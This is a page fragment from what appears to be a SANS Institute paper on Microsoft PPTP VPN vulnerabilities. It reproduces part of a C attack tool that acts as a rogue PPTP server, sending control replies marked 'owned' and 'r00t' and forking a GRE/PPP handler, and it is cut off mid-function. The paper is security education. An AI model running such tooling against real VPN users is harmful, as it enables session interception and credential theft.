Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
99
p.result_code      = 1;
p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
bcopy("owned", p.hostname, 5); 
bcopy("r00t", p.vendor, 4);
len = write(sd, &p, hlen);
if (len == -1) { perror(n); exit(1); }
if (len != hlen) { printf("Short write.\n"); exit(1); }
}
static gre = 0;
void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
{
struct pptp_out_call_rply p;
int len, hlen;
hlen = sizeof(struct pptp_out_call_rply);
printf("<- PPTP Outgoing Call Request\n");
 printf("-> PPTP Outgoing Call Reply\n");
pptp_gre_call_id = r->call_id;
/* Start a process to handle the GRE/PPP packets */
if (!gre) 
{
gre = 1;
switch((pid = fork()))
{
case -1:
perror(n);
exit(1);
case 0:
close(sd);
do_gre(sa);
exit(1);        /* not reached */
}
}
bzero((char *)&p, hlen);
p.header.length    = hton16(hlen);
p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
p.header.magic     = hton32(PPTP_MAGIC);
0

---